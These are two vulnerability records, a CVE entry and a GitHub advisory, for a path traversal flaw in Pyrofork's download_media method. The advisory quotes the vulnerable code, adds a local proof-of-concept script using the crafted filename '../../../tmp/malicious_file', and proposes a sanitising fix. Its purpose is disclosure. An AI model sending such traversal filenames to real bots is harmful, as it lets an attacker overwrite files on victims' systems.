{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pyrofork is a modern, asynchronous MTProto API framework. Versions 2.3.68 and earlier do not properly sanitize filenames received from Telegram messages in the download_media method before using them in file path construction. When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. The attribute originates from Telegram\u0027s DocumentAttributeFilename and is controlled by the message sender. This issue is fixed in version 2.3.69."
    }
  ],
  "id": "CVE-2025-67720",
  "lastModified": "2026-04-15T00:35:42.020",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-12-11T02:16:19.090",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Mayuri-Chan/pyrofork/commit/2f2d515575cc9c360bd74340a61a1d2b1e1f1f95"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Mayuri-Chan/pyrofork/security/advisories/GHSA-6h2f-wjhf-4wjx"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.68"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyrofork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.69"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-10T20:21:54Z",
    "nvd_published_at": "2025-12-11T02:16:19Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.\n\n---\n\n## Details\n\nWhen downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram\u0027s `DocumentAttributeFilename` and is controlled by the message sender.\n\n### Vulnerable Code Path\n\n**Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151):\n\n```python\nmedia_file_name = getattr(media, \"file_name\", \"\")  # Value from Telegram message\n\ndirectory, file_name = os.path.split(file_name)    # Split user\u0027s path parameter\nfile_name = file_name or media_file_name or \"\"     # Falls back to media_file_name if empty\n```\n\nWhen a user calls `download_media(message)` or `download_media(message, \"downloads/\")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled.\n\n**Step 2**: In `pyrogram/client.py` (line 1125):\n\n```python\ntemp_file_path = os.path.abspath(re.sub(\"\\\\\\\\\", \"/\", os.path.join(directory, file_name))) + \".temp\"\n```\n\nThe `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory.\n\n### Why the existing `isabs` check is insufficient\n\nThe check at line 153 in `download_media.py`:\n\n```python\nif not os.path.isabs(file_name):\n    directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)\n```\n\nThis check only handles absolute paths by skipping the directory prefix, but:\n1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn\u0027t catch it\n2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly\n\n---\n\n## PoC\n\nThe following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPath Traversal PoC for Pyrofork download_media\nDemonstrates CWE-22 vulnerability in filename handling\n\"\"\"\n\nimport os\nimport shutil\nimport tempfile\nfrom pathlib import Path\nfrom dataclasses import dataclass\n\n@dataclass\nclass MockDocument:\n    \"\"\"Simulates a Telegram Document with attacker-controlled file_name\"\"\"\n    file_id: str\n    file_name: str  # Attacker-controlled!\n\n@dataclass  \nclass MockMessage:\n    \"\"\"Simulates a Telegram Message\"\"\"\n    document: MockDocument\n\nDEFAULT_DOWNLOAD_DIR = \"downloads/\"\n\ndef vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):\n    \"\"\"\n    Simulates the vulnerable logic from:\n    - pyrogram/methods/messages/download_media.py (lines 145-154)\n    - pyrogram/client.py (line 1125)\n    \"\"\"\n    media = message.document\n    media_file_name = getattr(media, \"file_name\", \"\")\n    \n    # Line 150-151: Split and fallback\n    directory, file_name = os.path.split(file_name)\n    file_name = file_name or media_file_name or \"\"\n    \n    # Line 153-154: isabs check (insufficient!)\n    if not os.path.isabs(file_name):\n        directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)\n    \n    if not file_name:\n        file_name = \"generated_file.bin\"\n    \n    # Line 1125 in client.py: Path construction\n    import re\n    temp_file_path = os.path.abspath(\n        re.sub(\"\\\\\\\\\", \"/\", os.path.join(str(directory), file_name))\n    ) + \".temp\"\n    \n    return temp_file_path\n\ndef run_poc():\n    print(\"=\" * 60)\n    print(\"PYROFORK PATH TRAVERSAL PoC\")\n    print(\"=\" * 60)\n    \n    with tempfile.TemporaryDirectory() as temp_base:\n        parent_dir = Path(temp_base)\n        expected_dir = str(parent_dir / \"downloads\")\n        \n        print(f\"\\n[*] Bot working directory: {parent_dir}\")\n        print(f\"[*] Expected download dir: {expected_dir}\")\n        \n        # Attack: Path traversal with ../\n        print(\"\\n\" + \"-\" * 60)\n        print(\"TEST: Path Traversal Attack\")\n        print(\"-\" * 60)\n        \n        malicious_msg = MockMessage(\n            document=MockDocument(\n                file_id=\"test_id\",\n                file_name=\"../../../tmp/malicious_file\"\n            )\n        )\n        \n        result_path = vulnerable_download_media(\n            parent_dir=parent_dir,\n            message=malicious_msg,\n            file_name=\"downloads/\"\n        )\n        \n        # Remove .temp suffix for final path\n        final_path = os.path.splitext(result_path)[0]\n        \n        print(f\"[*] Malicious filename: ../../../tmp/malicious_file\")\n        print(f\"[*] Resulting path: {final_path}\")\n        \n        if not final_path.startswith(expected_dir):\n            print(f\"\\n[!] VULNERABILITY CONFIRMED\")\n            print(f\"[!] File path escapes intended directory!\")\n            print(f\"[!] Expected: {expected_dir}/...\")\n            print(f\"[!] Actual: {final_path}\")\n        else:\n            print(\"[*] Path is within expected directory\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n### How to Run\n\nSave the above script and run:\n\n```bash\npython3 poc_script.py\n```\n\n### Expected Output\n\n```\n============================================================\nPYROFORK PATH TRAVERSAL PoC\n============================================================\n\n[*] Bot working directory: /tmp/tmpXXXXXX\n[*] Expected download dir: /tmp/tmpXXXXXX/downloads\n\n------------------------------------------------------------\nTEST: Path Traversal Attack\n------------------------------------------------------------\n[*] Malicious filename: ../../../tmp/malicious_file\n[*] Resulting path: /tmp/malicious_file\n\n[!] VULNERABILITY CONFIRMED\n[!] File path escapes intended directory!\n[!] Expected: /tmp/tmpXXXXXX/downloads/...\n[!] Actual: /tmp/malicious_file\n```\n\n### Why This Proves the Vulnerability\n\n1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py`\n2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file`\n3. Python\u0027s `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library\n\n---\n\n## Impact\n\n### Who is affected?\n\n- Telegram bots or user accounts using Pyrofork that download media with default parameters\n- The common usage pattern `await client.download_media(message)` is affected\n\n### Conditions required for exploitation\n\n1. Attacker must be able to send messages to the victim\u0027s bot/account\n2. Victim must download the media without specifying a custom filename\n3. The bot process must have write permissions to the target location\n\n### Potential consequences\n\n- **Arbitrary file write** to locations writable by the bot process\n- Overwriting existing files could cause denial of service or configuration issues\n- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)\n\n---\n\n## Recommended Fix\n\nAdd filename sanitization in `download_media.py` after line 151:\n\n```python\nfile_name = file_name or media_file_name or \"\"\n\n# Add this sanitization block:\nif file_name:\n    # Remove any path components, keeping only the basename\n    file_name = os.path.basename(file_name)\n    # Remove null bytes which could cause issues\n    file_name = file_name.replace(\u0027\\x00\u0027, \u0027\u0027)\n    # Handle edge cases\n    if not file_name or file_name in (\u0027.\u0027, \u0027..\u0027):\n        file_name = \"\"\n```\n\nThis ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.\n\n---\n\nThank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.",
  "id": "GHSA-6h2f-wjhf-4wjx",
  "modified": "2025-12-11T15:51:44Z",
  "published": "2025-12-10T20:21:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Mayuri-Chan/pyrofork/security/advisories/GHSA-6h2f-wjhf-4wjx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67720"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Mayuri-Chan/pyrofork/commit/2f2d515575cc9c360bd74340a61a1d2b1e1f1f95"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Mayuri-Chan/pyrofork"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pyrofork has a Path Traversal in download_media Method"
}